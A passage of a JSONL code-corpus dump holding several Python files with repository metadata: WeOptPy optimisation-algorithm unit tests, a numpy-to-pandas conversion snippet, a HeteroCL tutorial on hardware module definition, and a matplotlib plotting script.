null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "semester-6/Python Practice/numpyPractice/program35.py", "max_forks_repo_name": "saranshbht/bsc-codes", "max_forks_repo_head_hexsha": "7386c09cc986de9c84947f7dea7db3dc42219a35", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.25, "max_line_length": 48, "alphanum_fraction": 0.685840708, "include": true, "reason": "import numpy", "num_tokens": 71, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.341582499438317, "lm_q2_score": 0.1480471942727457, "lm_q1q2_score": 0.050570330654514564}}
{"text": "# encoding=utf8\n\n\"\"\"Algorithm test case module.\"\"\"\n\nimport logging\nfrom queue import Queue\nfrom threading import Thread\nfrom unittest import TestCase\n\nimport numpy as np\nfrom numpy import random as rnd\n\nfrom WeOptPy.util import objects2array\nfrom WeOptPy.task.interfaces import (\n\tTask,\n\tUtilityFunction\n)\nfrom WeOptPy.task import StoppingTask\nfrom WeOptPy.algorithms.interfaces import (\n\tAlgorithm,\n\tIndividual\n)\n\nlogging.basicConfig()\nlogger = logging.getLogger('WeOptPy.test')\nlogger.setLevel('INFO')\n\n__all__ = [\n\t'Sphere',\n\t'AlgorithmTestCase'\n]\n\n\nclass Sphere(UtilityFunction):\n\tr\"\"\"Testing benchmark class.\n\n\tDate:\n\t\tApril 2019\n\n\tAuthor:\n\t\tKlemen Berkovi\u010d\n\n\tSee Also:\n\t\t* :class:`WeOptPy.task.interfaces.UtilityFunction`\n\t\"\"\"\n\tdef __init__(self):\n\t\tUtilityFunction.__init__(self, -5.12, 5.12)\n\n\tdef function(self):\n\t\treturn lambda x: np.sum(x ** 2)\n\n\nclass IndividualTestCase(TestCase):\n\tr\"\"\"Test case for testing Individual class.\n\n\tDate:\n\t\tApril 2019\n\n\tAuthor:\n\t\tKlemen Berkovi\u010d\n\n\tSee Also:\n\t\t* :class:`WeOptPy.algorithms.interfaces.Individual`\n\t\"\"\"\n\tdef setUp(self):\n\t\tself.D = 20\n\t\tself.x, self.task = rnd.uniform(-100, 100, self.D), StoppingTask(d=self.D, no_fes=230, no_gen=np.inf, benchmark=Sphere())\n\t\tself.s1, self.s2, self.s3 = Individual(x=self.x, e=False), Individual(task=self.task, rand=rnd), Individual(task=self.task)\n\n\tdef test_generate_solution_fine(self):\n\t\tself.assertTrue(self.task.is_feasible(self.s2))\n\t\tself.assertTrue(self.task.is_feasible(self.s3))\n\n\tdef test_evaluate_fine(self):\n\t\tself.s1.evaluate(self.task)\n\t\tself.assertAlmostEqual(self.s1.f, self.task.eval(self.x))\n\n\tdef test_repair_fine(self):\n\t\ts = Individual(x=np.full(self.D, 100))\n\t\tself.assertFalse(self.task.is_feasible(s.x))\n\n\tdef test_eq_fine(self):\n\t\tself.assertFalse(self.s1 == self.s2)\n\t\tself.assertTrue(self.s1 == self.s1)\n\t\ts = Individual(x=self.s1.x)\n\t\tself.assertTrue(s == self.s1)\n\n\tdef test_str_fine(self):\n\t\tself.assertEqual(str(self.s1), '%s -> %s' % (self.x, np.inf))\n\n\tdef test_getitem_fine(self):\n\t\tfor i in range(self.D): self.assertEqual(self.s1[i], self.x[i])\n\n\tdef test_len_fine(self):\n\t\tself.assertEqual(len(self.s1), len(self.x))\n\n\ndef init_pop_numpy(task, n, **kwargs):\n\tr\"\"\"Custom population initialization function for numpy individual type.\n\n\tArgs:\n\t\ttask (Task): Optimization task.\n\t\tn (int): Population size.\n\t\tkwargs (dict): Additional arguments.\n\n\tReturns:\n\t\tTuple[numpy.ndarray, numpy.ndarray, list, dict):\n\t\t\t1. Initialized population.\n\t\t\t2. Initialized populations fitness/function values.\n\t\t\t3. Additional arguments.\n\t\t\t4. Additional keyword arguments.\n\t\"\"\"\n\tpop = np.full((n, task.D), 0.0)\n\tfpop = np.apply_along_axis(task.eval, 1, pop)\n\treturn pop, fpop, [], {}\n\n\ndef init_pop_individual(task, n, itype, **kwargs):\n\tr\"\"\"Custom population initialization function for numpy individual type.\n\n\tArgs:\n\t\ttask (Task): Optimization task.\n\t\tn (int): Population size.\n\t\titype (Individual): Type of individual in population.\n\t\tkwargs (Dict[str, Any]): Additional arguments.\n\n\tReturns:\n\t\tTuple[numpy.ndarray, numpy.ndarray, list, dict):\n\t\t\t1. Initialized population.\n\t\t\t2. Initialized populations fitness/function values.\n\t\t\t3. Additional arguments.\n\t\t\t4. Additional keyword arguments.\n\t\"\"\"\n\tpop = objects2array([itype(x=np.full(task.D, 0.0), task=task) for _ in range(n)])\n\treturn pop, np.asarray([x.f for x in pop]), [], {}\n\n\nclass AlgorithmBaseTestCase(TestCase):\n\tr\"\"\"Test case for testing Algorithm class.\n\n\tDate:\n\t\tApril 2019\n\n\tAuthor:\n\t\tKlemen Berkovi\u010d\n\n\tAttributes:\n\t\tseed (int): Starting seed of random generator.\n\t\trnd (mtrand.RandomState): Random generator.\n\t\ta (Algorithm): Algorithm to use for testing.\n\n\tSee Also:\n\t\t* :class:`NiaPy.algorithms.Individual`\n\t\"\"\"\n\tdef setUp(self):\n\t\tself.seed = 1\n\t\tself.rnd = rnd.RandomState(self.seed)\n\t\tself.a = Algorithm(seed=self.seed)\n\n\tdef test_algorithm_info_fine(self):\n\t\tr\"\"\"Check if method works fine.\"\"\"\n\t\ti = Algorithm.algorithm_info()\n\t\tself.assertIsNotNone(i)\n\n\tdef test_algorithm_getParameters_fine(self):\n\t\tr\"\"\"Check if method works fine.\"\"\"\n\t\talgo = Algorithm()\n\t\tparams = algo.get_parameters()\n\t\tself.assertIsNotNone(params)\n\n\tdef test_type_parameters_fine(self):\n\t\td = Algorithm.type_parameters()\n\t\tself.assertIsNotNone(d)\n\n\tdef test_init_population_numpy_fine(self):\n\t\tr\"\"\"Test if custome generation initialization works ok.\"\"\"\n\t\ta = Algorithm(n=10, init_pop_func=init_pop_numpy)\n\t\tt = Task(d=20, benchmark=Sphere())\n\t\tself.assertTrue(np.array_equal(np.full((10, t.D), 0.0), a.init_population(t)[0]))\n\n\tdef test_init_population_individual_fine(self):\n\t\tr\"\"\"Test if custom generation initialization works ok.\"\"\"\n\t\ta = Algorithm(n=10, init_pop_func=init_pop_individual, itype=Individual)\n\t\tt = Task(d=20, benchmark=Sphere())\n\t\ti = Individual(x=np.full(t.D, 0.0), task=t)\n\t\tpop, fpop, args, kwargs = a.init_population(t)\n\t\tfor e in pop: self.assertEqual(i, e)\n\n\tdef test_set_parameters(self):\n\t\tself.a.set_parameters(t=None, a=20)\n\t\tself.assertRaises(AttributeError, lambda: self.assertEqual(self.a.a, None))\n\n\tdef test_randint_fine(self):\n\t\to = self.a.randint(maximum=20, minimum=10, d=[10, 10])\n\t\tself.assertEqual(o.shape, (10, 10))\n\t\tself.assertTrue(np.array_equal(self.rnd.randint(10, 20, (10, 10)), o))\n\t\to = self.a.randint(maximum=20, minimum=10, d=(10, 5))\n\t\tself.assertEqual(o.shape, (10, 5))\n\t\tself.assertTrue(np.array_equal(self.rnd.randint(10, 20, (10, 5)), o))\n\t\to = self.a.randint(maximum=20, minimum=10, d=10)\n\t\tself.assertEqual(o.shape, (10,))\n\t\tself.assertTrue(np.array_equal(self.rnd.randint(10, 20, 10), o))\n\n\tdef test_randn_fine(self):\n\t\ta = self.a.randn([1, 2])\n\t\tself.assertEqual(a.shape, (1, 2))\n\t\tself.assertTrue(np.array_equal(self.rnd.randn(1, 2), a))\n\t\ta = self.a.randn(1)\n\t\tself.assertEqual(len(a), 1)\n\t\tself.assertTrue(np.array_equal(self.rnd.randn(1), a))\n\t\ta = self.a.randn(2)\n\t\tself.assertEqual(len(a), 2)\n\t\tself.assertTrue(np.array_equal(self.rnd.randn(2), a))\n\t\ta = self.a.randn()\n\t\tself.assertIsInstance(a, float)\n\t\tself.assertTrue(np.array_equal(self.rnd.randn(), a))\n\n\tdef test_uniform_fine(self):\n\t\ta = self.a.uniform(-10, 10, [10, 10])\n\t\tself.assertEqual(a.shape, (10, 10))\n\t\tself.assertTrue(np.array_equal(self.rnd.uniform(-10, 10, (10, 10)), a))\n\t\ta = self.a.uniform(4, 10, (4, 10))\n\t\tself.assertEqual(len(a), 4)\n\t\tself.assertEqual(len(a[0]), 10)\n\t\tself.assertTrue(np.array_equal(self.rnd.uniform(4, 10, (4, 10)), a))\n\t\ta = self.a.uniform(1, 4, 2)\n\t\tself.assertEqual(len(a), 2)\n\t\tself.assertTrue(np.array_equal(self.rnd.uniform(1, 4, 2), a))\n\t\ta = self.a.uniform(10, 100)\n\t\tself.assertIsInstance(a, float)\n\t\tself.assertEqual(self.rnd.uniform(10, 100), a)\n\n\tdef test_normal_fine(self):\n\t\ta = self.a.normal(-10, 10, [10, 10])\n\t\tself.assertEqual(a.shape, (10, 10))\n\t\tself.assertTrue(np.array_equal(self.rnd.normal(-10, 10, (10, 10)), a))\n\t\ta = self.a.normal(4, 10, (4, 10))\n\t\tself.assertEqual(len(a), 4)\n\t\tself.assertEqual(len(a[0]), 10)\n\t\tself.assertTrue(np.array_equal(self.rnd.normal(4, 10, (4, 10)), a))\n\t\ta = self.a.normal(1, 4, 2)\n\t\tself.assertEqual(len(a), 2)\n\t\tself.assertTrue(np.array_equal(self.rnd.normal(1, 4, 2), a))\n\t\ta = self.a.normal(10, 100)\n\t\tself.assertIsInstance(a, float)\n\t\tself.assertEqual(self.rnd.normal(10, 100), a)\n\n\nclass TestingTask(StoppingTask, TestCase):\n\tr\"\"\"Testing task.\n\n\tDate:\n\t\tApril 2019\n\n\tAuthor:\n\t\tKlemen Berkovi\u010d\n\n\tSee Also:\n\t\t* :class:`WeOptPy.task.StoppingTask`\n\t\"\"\"\n\tdef names(self):\n\t\tr\"\"\"Get names of benchmark.\n\n\t\tReturns:\n\t\t\tList[str]: List of task names.\n\t\t\"\"\"\n\t\treturn self.benchmark.Name\n\n\tdef eval(self, x):\n\t\tr\"\"\"Check if is algorithm trying to evaluate solution out of bounds.\"\"\"\n\t\tself.assertTrue(self.is_feasible(x), 'Solution %s is not in feasible space!!!' % x)\n\t\treturn StoppingTask.eval(self, x)\n\n\nclass AlgorithmTestCase(TestCase):\n\tr\"\"\"Base class for testing other algorithms.\n\n\tDate:\n\t\tApril 2019\n\n\tAuthor:\n\t\tKlemen Berkovi\u010d\n\n\tAttributes:\n\t\tD (List[int]): Dimension of problem.\n\t\tnGEN (int): Number of generations/iterations.\n\t\tnFES (int): Number of function evaluations.\n\t\tseed (int): Starting seed of random generator.\n\n\tSee Also:\n\t\t* :class:`WeOptPy.algorithms.Algorithm`\n\t\"\"\"\n\tdef setUp(self):\n\t\tr\"\"\"Setup basic parameters of the algorithm run.\"\"\"\n\t\tself.D, self.nGEN, self.nFES, self.seed = [10, 25], 1000, 1000, 1\n\t\tself.algo = Algorithm\n\n\tdef test_algorithm_type_parameters(self):\n\t\tr\"\"\"Test if type parametes for algorithm work fine.\"\"\"\n\t\ttparams = self.algo.type_parameters()\n\t\tself.assertIsNotNone(tparams)\n\n\tdef test_algorithm_info_fine(self):\n\t\tr\"\"\"Test if algorithm info works fine.\"\"\"\n\t\tinfo = self.algo.algorithm_info()\n\t\tself.assertIsNotNone(info)\n\n\tdef test_algorithm_get_parameters_fine(self):\n\t\tr\"\"\"Test if algorithms parameters values are fine.\"\"\"\n\t\tparams = self.algo().get_parameters()\n\t\tself.assertIsNotNone(params)\n\n\tdef __set_up_task(self, d=10, bech=Sphere, nFES=None, nGEN=None, verbose=False):\n\t\tr\"\"\"Setup optimization tasks for testing.\n\n\t\tArgs:\n\t\t\td (int): Dimension of the problem.\n\t\t\tbech (UtilityFunction): Optimization problem to use.\n\t\t\tnFES (int): Number of fitness/objective function evaluations.\n\t\t\tnGEN (int): Number of generations.\n\t\t\tverbose (bool): Verbose output.\n\n\t\tReturns:\n\t\t\tTask: Testing task.\n\t\t\"\"\"\n\t\treturn TestingTask(d=d, no_fes=self.nFES if nFES is None else nFES, no_gen=self.nGEN if nGEN is None else nGEN, benchmark=bech, verbose=verbose)\n\n\tdef test_algorithm_run(self, a=None, benc=Sphere):\n\t\tr\"\"\"Run main testing of algorithm.\n\n\t\tArgs:\n\t\t\ta (Algorithm): First instance of algorithm.\n\t\t\tbenc (UtilityFunction): Benchmark to use for testing.\n\t\t\"\"\"\n\t\tif a is None: return False\n\t\tfor D in self.D:\n\t\t\tno_fes, no_gen = D * 1000, D * 1000\n\t\t\ttask = self.__set_up_task(D, benc, nFES=no_fes, nGEN=no_gen)\n\t\t\tx = a.run(task)\n\t\t\tself.assertFalse(a.bad_run(), \"Something went wrong at runtime of the algorithm --> %s\" % a.exception)\n\t\t\tself.assertIsNotNone(x)\n\t\t\tlogger.info('%s\\n%s -> %s' % (task.names(), x[0], x[1]))\n\t\t\tself.assertAlmostEqual(task.benchmark.function()(x[0].x if isinstance(x[0], Individual) else x[0]), x[1], msg='Best individual fitness values does not mach the given one')\n\t\t\tself.assertAlmostEqual(task.x_f, x[1], msg='While running the algorithm, algorithm got better individual with fitness: %s' % task.x_f)\n\t\t\tself.assertTrue(no_fes >= task.Evals, msg='nfes: %d < evals: %d' % (no_fes, task.Evals))\n\t\t\tself.assertTrue(no_gen >= task.Iters, msg='ngen: %d < iters: %d' % (no_gen, task.Iters))\n\t\treturn True\n\n\tdef test_algorithm_run_parallel(self, a=None, b=None, benc=Sphere):\n\t\tr\"\"\"Run main testing of algorithm in parallel.\n\n\t\tArgs:\n\t\t\ta (Algorithm): First instance of algorithm.\n\t\t\tb (Algorithm): Second instance of algorithm.\n\t\t\tbenc (UtilityFunction): Benchmark to use for testing.\n\t\t\"\"\"\n\t\tif a is None or b is None: return False\n\t\tfor D in self.D:\n\t\t\tno_fes, no_gen = D * 1000, D * 1000\n\t\t\ttask1, task2 = self.__set_up_task(D, benc, nFES=no_fes, nGEN=no_gen), self.__set_up_task(D, benc, nFES=no_fes, nGEN=no_gen)\n\t\t\tq = Queue(maxsize=2)\n\t\t\tthread1, thread2 = Thread(target=lambda a, t, q: q.put(a.run(t)), args=(a, task1, q)), Thread(target=lambda a, t, q: q.put(a.run(t)), args=(b, task2, q))\n\t\t\tthread1.start(), thread2.start()\n\t\t\tthread1.join(), thread2.join()\n\t\t\tx, y = q.get(block=True), q.get(block=True)\n\t\t\tself.assertFalse(a.bad_run() or b.bad_run(), \"Something went wrong at runtime of the algorithm --> %s\" % a.exception)\n\t\t\tself.assertIsNotNone(x), self.assertIsNotNone(y)\n\t\t\tlogger.info('%s\\n%s -> %s\\n%s -> %s' % (task1.names(), x[0], x[1], y[0], y[1]))\n\t\t\tself.assertAlmostEqual(task1.benchmark.function()(x[0].x if isinstance(x[0], Individual) else x[0]), x[1], msg='Best individual fitness values does not mach the given one')\n\t\t\tself.assertAlmostEqual(task1.x_f, x[1], msg='While running the algorithm, algorithm got better individual with fitness: %s' % task1.x_f)\n\t\t\tself.assertTrue(np.array_equal(x[0], y[0]), 'Results can not be reproduced, check usages of random number generator')\n\t\t\tself.assertAlmostEqual(x[1], y[1], msg='Results can not be reproduced or bad function value')\n\t\t\tself.assertTrue(no_fes >= task1.Evals, msg='nfes: %s < evals: %s' % (no_fes, task1.Evals)), self.assertEqual(task1.Evals, task2.Evals, msg='task1: %d != task2: %d' % (task1.Evals, task2.Evals))\n\t\t\tself.assertTrue(no_gen >= task1.Iters, msg='ngen: %s < iters: %s' % (no_gen, task1.Iters)), self.assertEqual(task1.Iters, task2.Iters, msg='task1: %d != task2: %d' % (task1.Iters, task2.Iters))\n\t\treturn True\n\n\n# vim: tabstop=3 noexpandtab shiftwidth=3 softtabstop=3\n", "meta": {"hexsha": "46dea460a09598973732600374fb8aeeb59990a5", "size": 12428, "ext": "py", "lang": "Python", "max_stars_repo_path": "WeOptPy/tests/test_algorithm.py", "max_stars_repo_name": "kb2623/WeOptPy", "max_stars_repo_head_hexsha": "2e9e75acf8fedde0ae4c99da6c786a712d4f011c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-05-12T10:02:21.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-12T10:02:21.000Z", "max_issues_repo_path": "WeOptPy/tests/test_algorithm.py", "max_issues_repo_name": "kb2623/WeOptPy", "max_issues_repo_head_hexsha": "2e9e75acf8fedde0ae4c99da6c786a712d4f011c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "WeOptPy/tests/test_algorithm.py", "max_forks_repo_name": "kb2623/WeOptPy", "max_forks_repo_head_hexsha": "2e9e75acf8fedde0ae4c99da6c786a712d4f011c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.7915567282, "max_line_length": 196, "alphanum_fraction": 0.7022851625, "include": true, "reason": "import numpy,from numpy", "num_tokens": 3541, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.39606818053136394, "lm_q2_score": 0.1276526302998559, "lm_q1q2_score": 0.05055914502290679}}
{"text": "import numpy as np\nimport pandas as pd\n\na = np.arange(4)\nprint(a)\n# [0 1 2 3]\n\ns = pd.Series(a)\nprint(s)\n# 0    0\n# 1    1\n# 2    2\n# 3    3\n# dtype: int64\n\nindex = ['A', 'B', 'C', 'D']\nname = 'sample'\ns = pd.Series(data=a, index=index, name=name, dtype='float')\nprint(s)\n# A    0.0\n# B    1.0\n# C    2.0\n# D    3.0\n# Name: sample, dtype: float64\n\na = np.arange(12).reshape((4, 3))\nprint(a)\n# [[ 0  1  2]\n#  [ 3  4  5]\n#  [ 6  7  8]\n#  [ 9 10 11]]\n\n# s = pd.Series(a)\n# print(s)\n# Exception: Data must be 1-dimensional\n\ns = pd.Series(a[2])\nprint(s)\n# 0    6\n# 1    7\n# 2    8\n# dtype: int64\n\ns = pd.Series(a.T[2])\nprint(s)\n# 0     2\n# 1     5\n# 2     8\n# 3    11\n# dtype: int64\n\na = np.arange(12).reshape((4, 3))\nprint(a)\n# [[ 0  1  2]\n#  [ 3  4  5]\n#  [ 6  7  8]\n#  [ 9 10 11]]\n\ndf = pd.DataFrame(a)\nprint(df)\n#    0   1   2\n# 0  0   1   2\n# 1  3   4   5\n# 2  6   7   8\n# 3  9  10  11\n\nindex = ['A', 'B', 'C', 'D']\ncolumns = ['a', 'b', 'c']\ndf = pd.DataFrame(data=a, index=index, columns=columns, dtype='float')\nprint(df)\n#      a     b     c\n# A  0.0   1.0   2.0\n# B  3.0   4.0   5.0\n# C  6.0   7.0   8.0\n# D  9.0  10.0  11.0\n", "meta": {"hexsha": "1365d35172356d2825fe9f7a96f9aeb9f6084e7e", "size": 1128, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebook/numpy_to_pandas.py", "max_stars_repo_name": "vhn0912/python-snippets", "max_stars_repo_head_hexsha": "80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 174, "max_stars_repo_stars_event_min_datetime": "2018-05-30T21:14:50.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-25T07:59:37.000Z", "max_issues_repo_path": "notebook/numpy_to_pandas.py", "max_issues_repo_name": "vhn0912/python-snippets", "max_issues_repo_head_hexsha": "80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 5, "max_issues_repo_issues_event_min_datetime": "2019-08-10T03:22:02.000Z", "max_issues_repo_issues_event_max_datetime": "2021-07-12T20:31:17.000Z", "max_forks_repo_path": "notebook/numpy_to_pandas.py", "max_forks_repo_name": "vhn0912/python-snippets", "max_forks_repo_head_hexsha": "80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 53, "max_forks_repo_forks_event_min_datetime": "2018-04-27T05:26:35.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-25T07:59:37.000Z", "avg_line_length": 14.8421052632, "max_line_length": 70, "alphanum_fraction": 0.475177305, "include": true, "reason": "import numpy", "num_tokens": 581, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.10521054371715848, "lm_q1q2_score": 0.05055142296192184}}
{"text": "\"\"\"\nCustom Module Definition\n========================\n\n**Author**: Yi-Hsiang Lai (seanlatias@github.com)\n\nIn this tutorial, we will introduce a new API called ``module``, which allows\nusers to define a hardware module.\n\"\"\"\n\nimport heterocl as hcl\nimport numpy as np\n\n##############################################################################\n# Defining a Hardware Module\n# --------------------------\n# It is important for users to define a hardware module. The main reason is\n# that by reusing the defined hardware module, we can reduce the resource\n# usage of the design. To define a module, what we need to do is to define a\n# Python function. Then, apply the function with a decorator. Within the\n# decorator, we need to specify the shapes of the arguments. Following we show\n# an example of defining a hardware module that return the maximum value of\n# two tensors with a given index.\n#\n# Note that in this example, we have three input arguments, which are `A`, `B`,\n# and `x`. The first two arguments are tensors with shape `(10,)` while the\n# last argument is a variable. To represent the shape of a variable, we use an\n# empty tuple `()`.\n#\n# Another thing to be noted is that we use ``hcl.return_`` for the return\n# value. We can see that we can have multiple `return` statements.\n#\n# Use the Defined Module\n# ----------------------\n# To use the module, it is just like a normal Python call. There is nothing\n# special here. Following we show an example of finding the element-wise\n# maximum value of four tensors.\n\nhcl.init()\n\ndef maximum(A, B, C, D):\n\n    @hcl.def_([A.shape, B.shape, ()])\n    def find_max(A, B, x):\n        with hcl.if_(A[x] > B[x]):\n            hcl.return_(A[x])\n        with hcl.else_():\n            hcl.return_(B[x])\n\n    max_1 = hcl.compute(A.shape, lambda x: find_max(A, B, x), \"max_1\")\n    max_2 = hcl.compute(A.shape, lambda x: find_max(C, D, x), \"max_2\")\n    return hcl.compute(A.shape, lambda x: find_max(max_1, max_2, x), \"max_o\")\n\n##############################################################################\n# We can first inspect the generated IR. You can see that for each computation,\n# we reuse the same module to find the maximum.\n\nA = hcl.placeholder((10,), \"A\")\nB = hcl.placeholder((10,), \"B\")\nC = hcl.placeholder((10,), \"C\")\nD = hcl.placeholder((10,), \"D\")\n\ns = hcl.create_schedule([A, B, C, D], maximum)\nprint(hcl.lower(s))\n\n##############################################################################\n# Finally, let's run the algorithm and check the results\n\nf = hcl.build(s)\n\na = np.random.randint(100, size=(10,))\nb = np.random.randint(100, size=(10,))\nc = np.random.randint(100, size=(10,))\nd = np.random.randint(100, size=(10,))\no = np.zeros(10)\n\nhcl_A = hcl.asarray(a)\nhcl_B = hcl.asarray(b)\nhcl_C = hcl.asarray(c)\nhcl_D = hcl.asarray(d)\nhcl_O = hcl.asarray(o, dtype=hcl.Int())\n\nf(hcl_A, hcl_B, hcl_C, hcl_D, hcl_O)\n\nprint(\"Input tensors:\")\nprint(hcl_A)\nprint(hcl_B)\nprint(hcl_C)\nprint(hcl_D)\nprint(\"Output tensor:\")\nprint(hcl_O)\n\n# Test the correctness\nm1 = np.maximum(a, b)\nm2 = np.maximum(c, d)\nm = np.maximum(m1, m2)\nassert np.array_equal(hcl_O.asnumpy(), m)\n\n##############################################################################\n# Modules Without Return Statement\n# --------------------------------\n# HeteroCL also allows users to define modules without a return statement. The\n# usage is exactly the same as what we just introduced. The only differece is\n# that the module can be called in a stand-alone way. Namely, it does not need\n# to be contained in any HeteroCL APIs. Let's use the same example of finding\n# the maximum. However, this time we update the output directly.\n\nhcl.init()\n\ndef maximum2(A, B, C, D):\n\n    # B will be the tensor that holds the maximum values\n    @hcl.def_([A.shape, B.shape])\n    def find_max(A, B):\n        with hcl.for_(0, A.shape[0]) as i:\n            with hcl.if_(A[i] > B[i]):\n                B[i] = A[i]\n\n    find_max(A, B)\n    find_max(C, D)\n    find_max(B, D)\n\ns = hcl.create_schedule([A, B, C, D], maximum2)\nf = hcl.build(s)\n\n##############################################################################\n# In the above example, we can see that now without the return value, we can\n# directly call the defined module. Let's check the results. They should be\n# the same as our first example.\n\nf(hcl_A, hcl_B, hcl_C, hcl_D)\n\nprint(\"Output tensor:\")\nprint(hcl_D)\n\n# Test the correctness\nm1 = np.maximum(a, b)\nm2 = np.maximum(c, d)\nm = np.maximum(m1, m2)\nassert np.array_equal(hcl_D.asnumpy(), m)\n\n##############################################################################\n# Data Type Customization for Modules\n# -----------------------------------\n# We can also apply data type customization to our defined modules. There are\n# two ways to do that. First, you can specify the data types directly in the\n# module decorator. Second, you can use the ``quantize`` and ``downsize`` APIs.\n# Let's show how we can downsize the first example.\n\nA = hcl.placeholder((10,), dtype=hcl.UInt(4))\nB = hcl.placeholder((10,), dtype=hcl.UInt(4))\nC = hcl.placeholder((10,), dtype=hcl.UInt(4))\nD = hcl.placeholder((10,), dtype=hcl.UInt(4))\n\ns = hcl.create_scheme([A, B, C, D], maximum)\n# Downsize the input arguments and also the return value\ns.downsize([maximum.find_max.A, maximum.find_max.B, maximum.find_max], hcl.UInt(4))\n# We also need to downsize the intermediate results\ns.downsize([maximum.max_1, maximum.max_2], hcl.UInt(4))\ns = hcl.create_schedule_from_scheme(s)\nf = hcl.build(s)\n\n##############################################################################\n# Let's run it.\n\nhcl_A = hcl.asarray(a, hcl.UInt(4))\nhcl_B = hcl.asarray(b, hcl.UInt(4))\nhcl_C = hcl.asarray(c, hcl.UInt(4))\nhcl_D = hcl.asarray(d, hcl.UInt(4))\nhcl_O = hcl.asarray(o)\n\nf(hcl_A, hcl_B, hcl_C, hcl_D, hcl_O)\n\nprint(\"Downsized output tensor:\")\nprint(hcl_O)\n\n##############################################################################\n# We can see that the results are downsized to 4-bit numbers. We can double\n# check this.\n\n# Test the correctness\nm1 = np.maximum(a%16, b%16)\nm2 = np.maximum(c%16, d%16)\nm = np.maximum(m1%16, m2%16)\nassert np.array_equal(hcl_O.asnumpy(), m)\n", "meta": {"hexsha": "9b03488b0299ec891df1d7fa2f26831a30baf113", "size": 6161, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/tutorial_07_module.py", "max_stars_repo_name": "hj424/heterocl", "max_stars_repo_head_hexsha": "e51b8f7f65ae6ad55c0c2426ab7192c3d8f6702b", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 236, "max_stars_repo_stars_event_min_datetime": "2019-05-19T01:48:11.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T09:03:54.000Z", "max_issues_repo_path": "tutorials/tutorial_07_module.py", "max_issues_repo_name": "hj424/heterocl", "max_issues_repo_head_hexsha": "e51b8f7f65ae6ad55c0c2426ab7192c3d8f6702b", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 248, "max_issues_repo_issues_event_min_datetime": "2019-05-17T19:18:36.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-30T21:25:47.000Z", "max_forks_repo_path": "tutorials/tutorial_07_module.py", "max_forks_repo_name": "hj424/heterocl", "max_forks_repo_head_hexsha": "e51b8f7f65ae6ad55c0c2426ab7192c3d8f6702b", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 85, "max_forks_repo_forks_event_min_datetime": "2019-05-17T20:09:27.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-28T20:19:00.000Z", "avg_line_length": 33.123655914, "max_line_length": 83, "alphanum_fraction": 0.6047719526, "include": true, "reason": "import numpy", "num_tokens": 1613, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.10521054231434403, "lm_q1q2_score": 0.0505514222878994}}
{"text": "import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef mgc_plot(x, y, sim_name):\r\n    \"\"\"Plot sim and MGC-plot\"\"\"\r\n    # simulation\r\n    plt.figure(figsize=(8, 8))\r\n    ax = plt.gca()\r\n    ax.set_title(sim_name + \" Simulation\", fontsize=20)\r\n    ax.scatter(x, y)\r\n    ax.set_xlabel('X', fontsize=15)\r\n    ax.set_ylabel('Y', fontsize=15)\r\n    ax.axis('equal')\r\n    ax.tick_params(axis=\"x\", labelsize=15)\r\n    ax.tick_params(axis=\"y\", labelsize=15)\r\n    plt.show()\r\n\r\n\r\nnp.random.seed(12345678)\r\nx = np.linspace(-1, 1, num=100)\r\ny = x + 0.3 * np.random.random(x.size)\r\n\r\n\r\nmgc_plot(x, y, \"Linear\")\r\n", "meta": {"hexsha": "2e7ce860827f2436696affe23f2c8c4d2ac9a2f9", "size": 603, "ext": "py", "lang": "Python", "max_stars_repo_path": "stats/plot/mgc_plot1.py", "max_stars_repo_name": "Squidxwh/Scipy.stats-doc-zh", "max_stars_repo_head_hexsha": "e2f545400c6ee1b68332dc8c1b041de5b54ef128", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "stats/plot/mgc_plot1.py", "max_issues_repo_name": "Squidxwh/Scipy.stats-doc-zh", "max_issues_repo_head_hexsha": "e2f545400c6ee1b68332dc8c1b041de5b54ef128", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "stats/plot/mgc_plot1.py", "max_forks_repo_name": "Squidxwh/Scipy.stats-doc-zh", "max_forks_repo_head_hexsha": "e2f545400c6ee1b68332dc8c1b041de5b54ef128", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": 